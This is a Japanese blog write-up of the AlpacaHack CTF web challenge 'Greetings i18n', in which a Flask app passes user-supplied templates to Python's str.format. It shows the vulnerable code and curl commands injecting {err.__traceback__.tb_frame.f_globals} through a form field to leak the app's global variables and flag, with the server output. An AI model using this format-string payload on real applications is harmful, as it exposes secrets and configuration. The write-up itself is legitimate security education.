0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[AlpacaHack] Greetings i18n Writeup

0
Posted at

ひとこと

むっず

問題

情報

ジャンル: Web
難易度: Hard (6.5)
問題URL: https://alpacahack.com/daily/challenges/greetings-i18n?month=2026-07

ここで問題の紹介をしていきます。
まだ2言語しかありません

初心者向けヒント
  • テンプレート文字列がユーザー入力由来の場合、str.formatは一般に危険とされています。これをどのように悪用できるでしょうか?
  • Python オブジェクトで利用できる属性を知りたい場合は、ローカルでコードを実行して print(dir(obj)) を使うと確認できます。

コード

app.py
from flask import Flask, request

app = Flask(__name__)
FLAG = "Alpaca{REDACTED}"

translations = {
    "hello": {
        "en": "Hello, {username}!",
        "ja": "こんにちは、{username}さん!"
    },
    "error": {
        "en": "An error has occurred: {err}",
        "ja": "エラーが発生しました: {err}",
    }
}


def parse_accept_language() -> str:
    header = request.headers.get("Accept-Language")
    if not header:
        return "en"

    first = header.split(",")[0]
    lang = first.split(";")[0].strip().split("-")[0].strip()

    return lang or "en"

# Translation function
def _(key: str):
    custom = request.form.get(f"custom-{key}")
    if custom:
        return custom
    lang = parse_accept_language()
    return translations.get(key).get(lang, key)


@app.get("/")
def index():
    try:
        username = request.args.get("username", "anonymous user")
        return _("hello").format(username=username), 200, {'Content-Type': 'text/plain;charset=utf-8'}
    except Exception as e:
        return _("error").format(err=e), 500, {'Content-Type': 'text/plain;charset=utf-8'}

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

str.formatとその性質

{}の中にあるものを置き換えるメソッドです。例を見てみましょう。

print("Hello, {username}!".format(username="Exploder.exe"))

これは、usernameExploder.exeに置き換えられ、

Hello, Exploder.exe!

となります。

これの面白い性質として、クラス(オブジェクト?)のプロパティも見れるということがあげられます。

class Person:
    def __init__(self, name):
        self.name = name

# Create a person object
person = Person("Exploder.exe")
print("Hello, {person.name}!", person)

出力はHello, Exploder.exeとなります。

仕込める情報を見る

コードを見る限り、ヘッダーのAccept-Language、フォームのcustom-{???}、クエリパラメータのusernameに入力を与えることができそうです。

custom-key....?

def _(key: str):
    custom = request.form.get(f"custom-{key}")
    if custom:
        return custom
    lang = parse_accept_language()
    return translations.get(key).get(lang, key)

@app.get("/")
def index():
    try:
        username = request.args.get("username", "anonymous user")
        return _("hello").format(username=username), 200, {'Content-Type': 'text/plain;charset=utf-8'}
    except Exception as e:
        return _("error").format(err=e), 500, {'Content-Type': 'text/plain;charset=utf-8'}

custom-helloに何か入れれば、そっちが返ってきそうですね...。試しに

curl -X GET -d "custom-hello=Bonjour {username}" "http://34.170.146.252:28958/?username=test"

を送ってみると、Bonjour testが返ってきました。

ところでstr.formatの脆弱性って?

str.format() method can evaluate expressions within the format string, allowing access to variables and object details. This means a user can manipulate the input to access sensitive data, like the dictionary. This creates a security risk because attackers could retrieve information they should not have access to.CONFIG

str.format() メソッドは format 文字列内の式を評価することができ、変数やオブジェクトの詳細へのアクセスを可能にします。つまり、ユーザーは入力を操作して辞書のような機密データにアクセスすることができます 。これにより、攻撃者がアクセスすべきでない情報を取得する可能性があるため、セキュリティリスクが生じます。

つまり、なんか不正な値をぶち込めば、グローバルにあるものを取れそうな予感がします。

Exceptionに秘められた力

Exceptionにはスタックフレームの情報があるので、そこからグローバル変数を出せる気がします。
ということでエラーを出すことにしました。

formatには該当の値が無いと置換できずにエラーが出るという性質があります。

print("{sentence}", username="Explode.exe")

これは{sentence}に該当するものがないのでエラーが飛びます。

エラー文をいじって終わり

custom-errorcustom-error=Une erreur s'est produite {err.__traceback__.tb_frame.f_globals}のように、Tracekbackからスタックフレームを取って、グローバル変数を出せれば、チェックメイトです。

実行コード

curl -X GET \
  -d "custom-hello=Bonjour {alpha}" \
  -d "custom-error=Une erreur s'est produite {err.__traceback__.tb_frame.f_globals}" \
  "http://34.170.146.252:28958/?username=nothing_is_worth_the_risk" \
Une erreur s'est produite {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fd9ea111e00>, '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/app/app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://34.170.146.252:28958/?username=nothing_is_worth_the_risk' [GET]>, 'app': <Flask 'app'>, 'FLAG': 'Alpaca{i18n_stands_for_internationalization}', 'translations': {'hello': {'en': 'Hello, {username}!', 'ja': 'こんにちは、{username}さん!'}, 'error': {'en': 'An error has occurred: {err}', 'ja': 'エラーが発生しました: {err}'}}, 'parse_accept_language': <function parse_accept_language at 0x7fd9e8667320>, '_': <function _ at 0x7fd9e8667480>, 'index': <function index at 0x7fd9e8667690>}

レスポンスにFLAGが現れます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?